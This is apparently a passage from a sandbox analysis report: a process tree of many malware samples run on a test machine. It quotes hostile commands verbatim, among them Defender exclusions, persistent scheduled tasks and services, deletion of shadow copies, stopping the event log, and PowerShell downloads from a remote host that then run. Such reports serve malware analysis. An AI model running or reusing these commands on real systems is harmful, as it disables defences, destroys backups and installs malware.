- Command and Scripting Interpreter: PowerShell
PID:7424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
PID:7144

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
3⤵
- Creates scheduled task(s)
PID:4712

C:\Users\Admin\Desktop\Files\current.exe
"C:\Users\Admin\Desktop\Files\current.exe"
2⤵
PID:7788

C:\Users\Admin\Desktop\Files\net.exe
"C:\Users\Admin\Desktop\Files\net.exe"
2⤵
PID:1840

C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
"C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
3⤵
PID:7676

C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
"C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
4⤵
PID:7680

C:\Users\Admin\Desktop\Files\net.exe
"C:\Users\Admin\Desktop\Files\net.exe"
3⤵
PID:4504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 384
4⤵
- Program crash
PID:316

C:\Users\Admin\Desktop\Files\bas.exe
"C:\Users\Admin\Desktop\Files\bas.exe"
2⤵
PID:1988

C:\Users\Public\Libraries\sgsgmraM.pif
C:\Users\Public\Libraries\sgsgmraM.pif
3⤵
PID:2128

C:\Users\Admin\Desktop\Files\twztl.exe
"C:\Users\Admin\Desktop\Files\twztl.exe"
2⤵
PID:3636

C:\Windows\syslmgrsvc.exe
C:\Windows\syslmgrsvc.exe
3⤵
PID:7132

C:\Users\Admin\AppData\Local\Temp\32994356.exe
C:\Users\Admin\AppData\Local\Temp\32994356.exe
4⤵
PID:4944

C:\Users\Admin\AppData\Local\Temp\1034323411.exe
C:\Users\Admin\AppData\Local\Temp\1034323411.exe
4⤵
PID:6328

C:\Windows\winqlsdrvcs.exe
C:\Windows\winqlsdrvcs.exe
5⤵
PID:8024

C:\Users\Admin\AppData\Local\Temp\3868024011.exe
C:\Users\Admin\AppData\Local\Temp\3868024011.exe
6⤵
PID:2984

C:\Users\Admin\AppData\Local\Temp\2955223532.exe
C:\Users\Admin\AppData\Local\Temp\2955223532.exe
6⤵
PID:7872

C:\Users\Admin\AppData\Local\Temp\3106436381.exe
C:\Users\Admin\AppData\Local\Temp\3106436381.exe
6⤵
PID:9036

C:\Users\Admin\AppData\Local\Temp\45388746.exe
C:\Users\Admin\AppData\Local\Temp\45388746.exe
4⤵
PID:6572

C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe
"C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"
5⤵
PID:3064

C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe
"C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"
5⤵
PID:7180

C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe
"C:\Users\Admin\AppData\Local\Temp\Windows Security Upgrade Service.exe"
5⤵
PID:8504

C:\Users\Admin\AppData\Local\Temp\253136683.exe
C:\Users\Admin\AppData\Local\Temp\253136683.exe
4⤵
PID:1676

C:\Users\Admin\AppData\Local\Temp\1539420113.exe
C:\Users\Admin\AppData\Local\Temp\1539420113.exe
5⤵
PID:8136

C:\Users\Admin\AppData\Local\Temp\1779432392.exe
C:\Users\Admin\AppData\Local\Temp\1779432392.exe
4⤵
PID:9092

C:\Users\Admin\AppData\Local\Temp\234463593.exe
C:\Users\Admin\AppData\Local\Temp\234463593.exe
4⤵
PID:6808

C:\Users\Admin\Desktop\Files\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe
"C:\Users\Admin\Desktop\Files\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe"
2⤵
PID:7568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7568 -s 572
3⤵
- Program crash
PID:7120

C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe
"C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe"
2⤵
PID:7732

C:\Windows\SysWOW64\clip.exe
"C:\Windows\SysWOW64\clip.exe"
3⤵
PID:6412

C:\Users\Admin\AppData\Roaming\System32\taskhost.exe
"C:\Users\Admin\AppData\Roaming\System32\taskhost.exe"
4⤵
PID:7516

C:\Users\Admin\Desktop\Files\ghjkl.exe
"C:\Users\Admin\Desktop\Files\ghjkl.exe"
2⤵
PID:4644

C:\Users\Admin\Desktop\Files\ghjkl.exe
"C:\Users\Admin\Desktop\Files\ghjkl.exe"
3⤵
PID:6756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6756 -s 476
4⤵
- Program crash
PID:5876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6756 -s 508
4⤵
- Program crash
PID:6644

C:\Users\Admin\Desktop\Files\f.exe
"C:\Users\Admin\Desktop\Files\f.exe"
2⤵
PID:5480

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
3⤵
PID:6404

C:\Windows\system32\vssadmin.exe
vssadmin.exe delete shadows /all /quiet
4⤵
- Interacts with shadow copies
PID:5460

C:\Users\Admin\Desktop\Files\qausarneedscrypted.exe
"C:\Users\Admin\Desktop\Files\qausarneedscrypted.exe"
2⤵
PID:3676

C:\Users\Admin\Desktop\Files\lumma1.exe
"C:\Users\Admin\Desktop\Files\lumma1.exe"
2⤵
PID:7764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:6856

C:\Users\Admin\Desktop\Files\univ.exe
"C:\Users\Admin\Desktop\Files\univ.exe"
2⤵
PID:6388

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "univ.exe" /f & erase "C:\Users\Admin\Desktop\Files\univ.exe" & exit
3⤵
PID:872

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "univ.exe" /f
4⤵
- Kills process with taskkill
PID:3612

C:\Users\Admin\Desktop\Files\univ.exe
"C:\Users\Admin\Desktop\Files\univ.exe"
2⤵
PID:8968

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "univ.exe" /f & erase "C:\Users\Admin\Desktop\Files\univ.exe" & exit
3⤵
PID:9180

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "univ.exe" /f
4⤵
- Kills process with taskkill
PID:8852

C:\Users\Admin\Desktop\New Text Document mod.exe
"C:\Users\Admin\Desktop\New Text Document mod.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5976

C:\Users\Admin\Desktop\a\lumma0805.exe
"C:\Users\Admin\Desktop\a\lumma0805.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4928

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5516

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5384

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5160

C:\Users\Admin\Desktop\a\crypted_4c800f49.exe
"C:\Users\Admin\Desktop\a\crypted_4c800f49.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5632

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1592

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH2663\MPGPH2663.exe" /tn "MPGPH2663 HR" /sc HOURLY /rl HIGHEST
4⤵
- Creates scheduled task(s)
PID:7716

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH2663\MPGPH2663.exe" /tn "MPGPH2663 LG" /sc ONLOGON /rl HIGHEST
4⤵
- Creates scheduled task(s)
PID:7976

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\IEUpdater2663\IEUpdater2663.exe" /tn "IEUpdater2663 HR" /sc HOURLY /rl HIGHEST
4⤵
- Creates scheduled task(s)
PID:3472

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\IEUpdater2663\IEUpdater2663.exe" /tn "IEUpdater2663 LG" /sc ONLOGON /rl HIGHEST
4⤵
- Creates scheduled task(s)
PID:7736

C:\ProgramData\IEUpdater2663\IEUpdater2663.exe
"C:\ProgramData\IEUpdater2663\IEUpdater2663.exe"
4⤵
PID:7820

C:\Users\Admin\Desktop\a\print.exe
"C:\Users\Admin\Desktop\a\print.exe"
2⤵
- Executes dropped EXE
PID:5644

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
3⤵
PID:5708

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
3⤵
PID:4804

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
3⤵
PID:2516

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
3⤵
PID:3100

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
3⤵
- Launches sc.exe
PID:3760

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
3⤵
- Launches sc.exe
PID:6212

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:6296

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
3⤵
- Launches sc.exe
PID:6304

C:\Users\Admin\Desktop\a\222.exe
"C:\Users\Admin\Desktop\a\222.exe"
2⤵
- Executes dropped EXE
PID:3456

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
3⤵
PID:1700

C:\Windows\system32\mode.com
mode 65,10
4⤵
PID:2504

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p209313910271864811381312692 -oextracted
4⤵
PID:3060

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_8.zip -oextracted
4⤵
PID:956

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_7.zip -oextracted
4⤵
PID:4736

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_6.zip -oextracted
4⤵
PID:5796

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_5.zip -oextracted
4⤵
PID:1248

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_4.zip -oextracted
4⤵
PID:5148

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_3.zip -oextracted
4⤵
PID:5476

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
4⤵
PID:3368

C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
4⤵
PID:5636

C:\Windows\system32\attrib.exe
attrib +H "Installer.exe"
4⤵
- Views/modifies file attributes
PID:3068

C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
"Installer.exe"
4⤵
PID:5732

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
5⤵
- Command and Scripting Interpreter: PowerShell
PID:6928

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:7272

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
6⤵
PID:6872

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
5⤵
PID:7296

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
5⤵
PID:7316

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
5⤵
PID:7328

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
5⤵
PID:7360

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:2520

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "OARKQOLE"
5⤵
- Launches sc.exe
PID:7388

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "OARKQOLE" binpath= "C:\ProgramData\xiyorhiuewkj\adwmbjfsmbak.exe" start= "auto"
5⤵
- Launches sc.exe
PID:7816

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
5⤵
- Launches sc.exe
PID:8076

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "OARKQOLE"
5⤵
- Launches sc.exe
PID:8048

C:\Users\Admin\Desktop\a\324hj23k4jh423kjh4g423.exe
"C:\Users\Admin\Desktop\a\324hj23k4jh423kjh4g423.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2520

C:\Users\Admin\AppData\Local\Temp\katBC08.tmp
C:\Users\Admin\AppData\Local\Temp\katBC08.tmp
3⤵
- Executes dropped EXE
PID:1508

C:\Users\Admin\Desktop\a\ReurgingGleek.exe
"C:\Users\Admin\Desktop\a\ReurgingGleek.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4016

C:\ProgramData\system.exe
"C:\ProgramData\system.exe"
3⤵
PID:2228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\system.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:4924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5788

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
4⤵
- Creates scheduled task(s)
PID:7084

C:\ProgramData\build.exe
"C:\ProgramData\build.exe"
3⤵
PID:1988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4016 -s 1512
3⤵
- Program crash
PID:1440

C:\Users\Admin\Desktop\a\smss.exe
"C:\Users\Admin\Desktop\a\smss.exe"
2⤵
PID:3768

C:\Users\Admin\Desktop\a\smss.exe
"C:\Users\Admin\Desktop\a\smss.exe"
3⤵
PID:6720

C:\Users\Admin\Desktop\a\yak.exe
"C:\Users\Admin\Desktop\a\yak.exe"
2⤵
PID:3512

C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\Desktop\a\yak.exe C:\\Users\\Public\\Libraries\\Duchpovs.PIF
3⤵
PID:6840

C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\System32\colorcpl.exe
3⤵
PID:1248

C:\Users\Admin\Desktop\a\bas.exe
"C:\Users\Admin\Desktop\a\bas.exe"
2⤵
PID:5188

C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\Desktop\a\bas.exe C:\\Users\\Public\\Libraries\\Marmgsgs.PIF
3⤵
PID:5144

C:\Users\Public\Libraries\sgsgmraM.pif
C:\Users\Public\Libraries\sgsgmraM.pif
3⤵
PID:6952

C:\Users\Admin\Desktop\a\vpn-1002.exe
"C:\Users\Admin\Desktop\a\vpn-1002.exe"
2⤵
PID:1844

C:\Windows\SysWOW64\cmd.exe
"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nswD3C7.tmp\app.bat"
3⤵
PID:6792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"
4⤵
- Command and Scripting Interpreter: PowerShell
PID:4260

C:\Users\Admin\AppData\Local\Temp\i0.exe
i0.exe /verysilent /sub=1000
4⤵
PID:6696

C:\Users\Admin\AppData\Local\Temp\is-KD6BJ.tmp\i0.tmp
"C:\Users\Admin\AppData\Local\Temp\is-KD6BJ.tmp\i0.tmp" /SL5="$40398,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
5⤵
PID:7432

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-VNBBQ.tmp\kwkfmv > "C:\Users\Admin\AppData\Local\Temp\is-VNBBQ.tmp\~execwithresult.txt""
6⤵
PID:2128

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-VNBBQ.tmp\kwkfmv
7⤵
PID:7888

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x128,0x12c,0x130,0x100,0x134,0x7ffbcd91ab58,0x7ffbcd91ab68,0x7ffbcd91ab78
8⤵
PID:7760

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\kwkfmv.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-VNBBQ.tmp\~execwithresult.txt""
6⤵
PID:3936

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-VNBBQ.tmp\hdrnio > "C:\Users\Admin\AppData\Local\Temp\is-VNBBQ.tmp\~execwithresult.txt""
6⤵
PID:7012

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /f /im "msedge.exe"
6⤵
- Kills process with taskkill
PID:6884

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /f /im "chrome.exe"
6⤵
- Kills process with taskkill
PID:6560

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7504

C:\Users\Admin\Desktop\a\gotomeeting.exe
"C:\Users\Admin\Desktop\a\gotomeeting.exe"
2⤵
PID:6224

C:\Users\Admin\Desktop\a\grace.exe
"C:\Users\Admin\Desktop\a\grace.exe"
2⤵
PID:6852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\grace.exe"
3⤵
- Command and Scripting Interpreter: PowerShell
PID:7496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\zmSyIN.exe"
3⤵
- Command and Scripting Interpreter: PowerShell
PID:7592

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\zmSyIN" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA57.tmp"
3⤵
- Creates scheduled task(s)
PID:7652

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
PID:7944

C:\Users\Admin\Desktop\a\!@O180_DoubleSFlow_NOP.exe
"C:\Users\Admin\Desktop\a\!@O180_DoubleSFlow_NOP.exe"
2⤵
PID:1292

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c C:\Users\Admin\AppData\Roaming\XBOX\!@O180_DoubleSFlow_NOP.exe
3⤵
PID:6984

C:\Users\Admin\AppData\Roaming\XBOX\!@O180_DoubleSFlow_NOP.exe
C:\Users\Admin\AppData\Roaming\XBOX\!@O180_DoubleSFlow_NOP.exe
4⤵
PID:2860

C:\Users\Admin\Desktop\a\Pirate_24S.exe
"C:\Users\Admin\Desktop\a\Pirate_24S.exe"
2⤵
PID:4500

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.vbs"
3⤵
PID:6328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.cmd" "
4⤵
PID:2252

C:\Windows\system32\reg.exe
C:\Windows\Sysnative\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
5⤵
PID:1588

C:\Windows\SysWOW64\find.exe
find /i "Windows 7"
5⤵
PID:6136

C:\Users\Admin\Desktop\a\client.exe
"C:\Users\Admin\Desktop\a\client.exe"
2⤵
PID:2532

C:\Windows\system32\Client.exe
"C:\Windows\system32\Client.exe"
3⤵
PID:6980

C:\Users\Admin\Desktop\a\artifact.exe
"C:\Users\Admin\Desktop\a\artifact.exe"
2⤵
PID:6452

C:\Users\Admin\Desktop\a\artifact-64.exe
"C:\Users\Admin\Desktop\a\artifact-64.exe"
2⤵
PID:6348

C:\Windows\SysWOW64\openfiles.exe
"C:\Windows\SysWOW64\openfiles.exe"
2⤵
PID:6236

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:2416

C:\Users\Admin\Desktop\a\reverse.exe
"C:\Users\Admin\Desktop\a\reverse.exe"
2⤵
PID:1716

C:\Users\Admin\Desktop\a\64.exe
"C:\Users\Admin\Desktop\a\64.exe"
2⤵
PID:6136

C:\Windows\SYSTEM32\cmd.exe
cmd
3⤵
PID:7428

C:\Users\Admin\Desktop\a\2023%E5%8F%B0%E7%A9%8D%E9%9B%BB%E6%96%B9%E9%87%9D%E8%88%87%E5%B0%8D%E7%AD%96%E5%8D%80%E5%9F%9F%E6%B2%BB%E7%90%86%E5%95%8F%E9%A1%8C.exe
"C:\Users\Admin\Desktop\a\2023%E5%8F%B0%E7%A9%8D%E9%9B%BB%E6%96%B9%E9%87%9D%E8%88%87%E5%B0%8D%E7%AD%96%E5%8D%80%E5%9F%9F%E6%B2%BB%E7%90%86%E5%95%8F%E9%A1%8C.exe"
2⤵
PID:6344

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX1\台灣積體電路製造公司.pdf"
3⤵
PID:1892

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
4⤵
PID:784

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=87B4C56AFE81F7E1BB5CECA37E2217A0 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=87B4C56AFE81F7E1BB5CECA37E2217A0 --renderer-client-id=2 --mojo-platform-channel-handle=1724 --allow-no-sandbox-job /prefetch:1
5⤵
PID:5480

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
